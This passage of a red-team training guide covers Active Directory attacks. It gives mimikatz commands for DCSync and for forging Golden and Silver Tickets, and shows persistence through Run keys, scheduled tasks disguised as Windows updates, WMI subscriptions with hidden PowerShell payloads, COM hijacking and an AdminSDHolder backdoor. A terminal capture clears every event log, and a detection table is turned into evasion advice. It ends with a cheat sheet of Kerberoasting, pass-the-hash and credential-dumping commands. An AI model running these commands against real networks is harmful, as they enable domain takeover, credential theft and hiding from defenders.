14 — GOLDEN & SILVER TICKETS: PERSISTENT KERBEROS FORGERY

The Ultimate Domain Persistence — Survives Password Resets

Golden and Silver Tickets are forged Kerberos tickets that grant persistent access independent of password changes. A Golden Ticket forged with the krbtgt hash remains valid even after the Administrator password is reset — the only fix is to rotate the krbtgt password TWICE, which most organisations are reluctant to do due to service disruption.

Ticket	Hash Required	Scope	DC Interaction	Detection
Golden TGT	krbtgt NTLM/AES	Any service, any user	None after forge	TGT lifetime anomaly
Silver TGS	Service account hash	One specific service	None ever	No DC events at all
Diamond TGT	krbtgt (request real TGT, modify)	Any service	Yes — more stealthy	Harder to detect



\$ Golden + Silver Ticket Commands

```
# Golden Ticket – requires krbtgt hash + domain SID

# Step 1: Get krbtgt hash via DCSync
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# Note: Hash NTLM: 7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d

# Step 2: Get Domain SID
whoami /all | findstr 'S-1-5-21' # grab S-1-5-21-XXXXXX-XXXXXX-XXXXXX

# Step 3: Forge Golden Ticket (inject with /ptt)
mimikatz # kerberos::golden \
    /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-3623811015-3361044348-30300820 \
    /krbtgt:7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d \
    /aes256:5e8c9b1d3f2a4e6c... /ptt

# Access any resource
dir \\DC01\C$
psexec \\DC01 cmd.exe

# Silver Ticket – for specific service (no KDC contact ever)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-... /target:DC01.corp.local \
    /service:cifs /rc4:DC01_MACHINE_HASH /ptt
# CIFS access to DC01 – no logs on DC at all
```



15 — PERSISTENCE: REGISTRY, TASKS, WMI & COM HIJACKING

Staying in Windows After the Initial Compromise

Method	Location	Stealth	Trigger
Registry Run Key	HKCU\HKLM ...\Run	Low	User login
Scheduled Task	Task Scheduler	Medium	Time / event-based
WMI Subscription	WMI repository	High	System event
Startup folder	AppData\Roaming\Microsoft\Windows\Start Menu	Low	User login
Service	HKLM\SYSTEM\...\Services	High	Boot / manual
COM Hijacking	HKCU\Software\Classes\CLSID	High	COM call
DLL side-load	Application directory	Very High	App launch
Skeleton Key	LSASS memory (DC only)	High	All domain auth
Golden Ticket	Kerberos (AD-level)	Extreme	Any service access

\$ Windows Persistence Commands

```
# Registry Run Key – user-level persistence
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
    /v 'WindowsUpdate' /t REG_SZ \
    /d 'C:\Users\jsmith\AppData\Roaming\svchost.exe' /f

# Scheduled Task – SYSTEM level persistence
schtasks /create /sc ONLOGON /tn 'MicrosoftEdgeUpdate' \
    /tr 'C:\ProgramData\update.exe' /ru SYSTEM /f

# WMI – fileless, very stealthy
# Fires every 60 seconds based on time event
$Command = 'powershell.exe -nop -w hidden -enc BASE64PAYLOAD'
# Set-WmiInstance ... (full code in Section 11)

# COM Hijacking – HKCU overrides HKLM (no admin needed)
# Find COM objects loaded by running processes
procmon.exe → filter: Operation=RegOpenKey + Result=NAME NOT FOUND
# Create HKCU key for the missing CLSID → DLL loaded by target app

# AdminSDHolder backdoor – ACL persists on all protected accounts
Add-DomainObjectAcl -TargetIdentity 'AdminSDHolder' \
    -PrincipalIdentity jsmith -Rights All
# After 60 minutes: jsmith has GenericAll on ALL admin accounts
```

```
Administrator: PowerShell — Persistence: Registry, Scheduled Task, WMI

PS C:\> # Windows persistence – multiple methods
PS C:\> # Method 1: Registry Run Key
PS C:\> Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' \
    -Name 'WindowsUpdate' \
    -Value 'C:\Users\jsmith\AppData\Roaming\svchost.exe'
[+] Run key set – payload executes on every login

PS C:\> # Method 2: Scheduled Task (runs as SYSTEM)
PS C:\> schtasks /create /sc ONLOGON /tn 'MicrosoftEdgeUpdate' \
    /tr 'C:\ProgramData\update.exe' /ru SYSTEM /f
SUCCESS: The scheduled task 'MicrosoftEdgeUpdate' has been created.

PS C:\> # Method 3: WMI event subscription (fileless, very stealthy)
PS C:\> $Command = "powershell.exe -nop -w hidden -e BASE64_PAYLOAD"
PS C:\> $EventFilter = Set-WmiInstance -Namespace root\subscription \
    -Class __EventFilter -Arguments @{
    Name='RTGFilter'; QueryLanguage='WQL';
    Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_LocalTime"'
}
[+] WMI event subscription created – fires every 60 seconds

PS C:\> # Cover tracks – clear event logs
PS C:\> Get-EventLog -List | ForEach-Object { Clear-EventLog $_.Log }
[+] All event logs cleared
PS C:\> wevtutil cl Security; wevtutil cl System; wevtutil cl Application
PS C:\> _
```

Figure: Registry Run key, Scheduled Task SYSTEM, WMI subscription — logs cleared



16 — DEFENCES & DETECTION: WHAT BLUE TEAMS WATCH

Know What Gets Logged to Stay Under the Radar

Event ID	Log	Trigger	Priority
4624	Security	Logon success — type 3=network, 10=remote	HIGH
4625	Security	Logon failure — brute force indicator	HIGH
4648	Security	Logon with explicit credentials (runas/PTH)	HIGH
4672	Security	Special logon (admin token assigned)	HIGH
4688	Security	New process creation (if audit enabled)	CRITICAL
4698	Security	Scheduled task created	HIGH
4768	Security	Kerberos TGT request	MEDIUM
4769	Security	Kerberos TGS request — Kerberoast indicator	HIGH
4771	Security	Kerberos pre-auth failed — AS-REP roast	HIGH
4776	Security	NTLM auth attempt	MEDIUM
4662	Security	AD object access — DCSync uses this	CRITICAL
7045	System	New service installed — PSEXEC noise	HIGH
1	Sysmon	Process creation with command line	CRITICAL
3	Sysmon	Network connection from process	HIGH
10	Sysmon	Process access (LSASS read = Mimikatz)	CRITICAL

RTG OPSEC

Use WMI/DCOM for lateral movement — quieter than PSEXEC (no service 7045).

Use AES256 keys instead of RC4 for Kerberos — RC4 is a detection indicator.

DCSync from a non-DC machine generates event 4662 — do it from a DA session.



17 — WINDOWS & AD ATTACKER CHEAT SHEET

Every Command — Field Reference for Operators

INITIAL ENUMERATION

<code>whoami /all</code>	User, SID, groups, ALL privileges
<code>whoami /priv</code>	Check Selpersonate, SeDebug flags
<code>net user /domain</code>	All domain users
<code>net group 'Domain Admins' /domain</code>	Who has DA?
<code>systeminfo findstr Domain</code>	OS version + domain membership
<code>cmdkey /list</code>	Saved credentials on this machine
<code>netstat -ano</code>	Active connections + PIDs

POWERSHELL AD ENUM

<code>Get-ADUser -Filter * -Properties Description</code>	Users with descriptions
<code>Get-ADGroupMember 'Domain Admins'</code>	DA group members
<code>Get-ADUser -Filter {DoesNotRequirePreAuth -eq \$True}</code>	AS-REP roastable
<code>Get-ADUser -Filter {ServicePrincipalName -ne '\$null'}</code>	Kerberoastable
<code>Get-DomainUser -SPN (PowerView)</code>	SPNs via PowerView
<code>Find-LocalAdminAccess (PowerView)</code>	Hosts where you are local admin
<code>Find-InterestingDomainAcl (PowerView)</code>	Misconfigured ACLs

KERBEROS ATTACKS

<code>impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC</code>	Kerberoast hashes
<code>impacket-GetNPUsers DOMAIN/ -usersfile u.txt -no-pass</code>	AS-REP Roast
<code>hashcat -m 13100 kerberoast.txt rockyou.txt</code>	Crack Kerberoast
<code>hashcat -m 18200 asrep.txt rockyou.txt</code>	Crack AS-REP
<code>Rubeus.exe kerberoast /outfile:k.txt</code>	Kerberoast (Windows)
<code>kerbrute userenum --dc DC -d DOMAIN users.txt</code>	Enumerate valid users

LATERAL MOVEMENT

<code>nxc smb SUBNET -u admin -H HASH --local-auth</code>	PTH spray subnet
---	------------------



<code>impacket-psexec DOMAIN/admin@TARGET -hashes LM:NT</code>	PSEXec PTH
<code>impacket-wmiexec DOMAIN/admin@TARGET -hashes LM:NT</code>	WMI PTH (quieter)
<code>evil-winrm -i TARGET -u admin -H HASH</code>	WinRM PTH shell
<code>xfreerdp /v:TARGET /u:admin /pth:HASH /cert:ignore</code>	RDP PTH

PRIVILEGE ESCALATION

<code>GodPotato.exe -cmd 'whoami'</code>	SelImpersonate → SYSTEM
<code>wmic service get name,pathname findstr /v "" findstr auto</code>	Unquoted paths
<code>reg query HKLM\...\Installer /v AlwaysInstallElevated</code>	AlwaysInstallElevated
<code>accesschk.exe -wuvvc Everyone *</code>	Services writable by Everyone

CREDENTIAL DUMPING

<code>impacket-secretsdump DOMAIN/DA@DC -just-dc-ntlm</code>	DCSync all hashes
<code>mimikatz # sekurlsa::logonpasswords</code>	LSASS credential dump
<code>mimikatz # lsadump::dcsync /domain:D /all /csv</code>	DCSync CSV
<code>nxc smb TARGET -u admin -H HASH --sam</code>	SAM dump via SMB
<code>nxc smb TARGET -u admin -H HASH --lsa</code>	LSA secrets via SMB

PERSISTENCE

<code>reg add HKCU\...\Run /v Name /d C:\path\payload.exe /f</code>	Registry Run key
<code>schtasks /create /sc ONLOGON /tn TaskName /tr payload.exe /ru SYSTEM</code>	Sched task
<code>mimikatz # misc::skeleton</code>	Skeleton Key on DC
<code>kerberos::golden /krbtgt:HASH /user:admin /ptt</code>	Golden Ticket

BLOODHOUND

<code>bloodhound-python -u u -p p -d DOM -dc DC -c All</code>	Collect from Kali
<code>.\SharpHound.exe -c All --zipfilename out.zip</code>	Collect from Windows
<code>Cypher: shortestPath((u:User)-[*1..]->(g:Group{name:'DOMAIN ADMINS@CORP.LOCAL'}))</code>	Shortest path to DA





CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.